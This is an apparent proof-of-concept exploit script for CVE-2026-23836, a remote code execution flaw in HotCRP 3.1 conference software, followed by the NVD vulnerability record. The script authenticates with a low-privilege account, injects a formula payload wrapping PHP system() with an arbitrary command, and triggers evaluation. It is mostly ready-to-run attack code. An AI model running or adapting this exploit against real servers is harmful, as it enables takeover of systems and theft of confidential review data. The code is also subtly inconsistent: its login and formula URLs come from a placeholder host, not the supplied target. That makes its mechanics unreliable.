CVE-2026-23836

# CVE-2026-23836 HotCRP Formula RCE PoC # Target: HotCRP version 3.1 (vulnerable) # Author: Security Research import requests import sys TARGET_URL = "http://target-hotcrp-server.com" LOGIN_URL = f"{TARGET_URL}/src/login.php" FORMULA_URL = f"{TARGET_URL}/src/api.php" def exploit_rce(target_url, username, password, command="id"): """Exploit CVE-2026-23836 - HotCRP Formula RCE""" session = requests.Session() # Step 1: Authenticate with low-privilege account login_data = { "email": username, "password": password, "action": "login" } resp = session.post(LOGIN_URL, data=login_data) if resp.status_code != 200: print("[-] Login failed") return None print("[+] Logged in successfully") # Step 2: Inject malicious formula payload # The vulnerability allows PHP code execution through formula input payload = f"${{system('{command}')}}" formula_data = { "do": "setformula", "formula": payload, "pid": "1" } resp = session.post(FORMULA_URL, json=formula_data) # Step 3: Trigger formula evaluation trigger_url = f"{TARGET_URL}/src/api.php?do=review&paper=1" resp = session.get(trigger_url) print(f"[+] Payload sent: {payload}") print(f"[+] Response status: {resp.status_code}") return resp.text if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> [command]") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] if len(sys.argv) > 4 else "id" result = exploit_rce(target, user, pwd, cmd) if result: print("[+] Exploitation attempted") print(result[:500])

{"cve": {"id": "CVE-2026-23836", "sourceIdentifier": "[email protected]", "published": "2026-01-19T18:16:06.147", "lastModified": "2026-02-18T16:01:00.990", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HotCRP is conference review software. A problem introduced in April 2024 in version 3.1 led to inadequately sanitized code generation for HotCRP formulas which allowed users to trigger the execution of arbitrary PHP code. The problem is patched in release version 3.2."}, {"lang": "es", "value": "HotCRP es software de revisión de conferencias. Un problema introducido en abril de 2024 en la versión 3.1 llevó a una generación de código insuficientemente saneado para las fórmulas de HotCRP, lo que permitió a los usuarios desencadenar la ejecución de código PHP arbitrario. El problema está parcheado en la versión de lanzamiento 3.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hotcrp:hotcrp:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0", "versionEndExcluding": "3.2", "matchCriteriaId": "B96A133C-9FF9-4749-9340-E21E8FBB2A13"}]}]}], "references": [{"url": "https://github.com/kohler/hotcrp/commit/4674fcfbb76511072a1145dad620756fc1d4b4e9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kohler/hotcrp/commit/bfc7e0db15df6ed6d544a639020d2ce05a5f0834", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kohler/hotcrp/security/advisories/GHSA-hpqh-j6qx-x57h", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}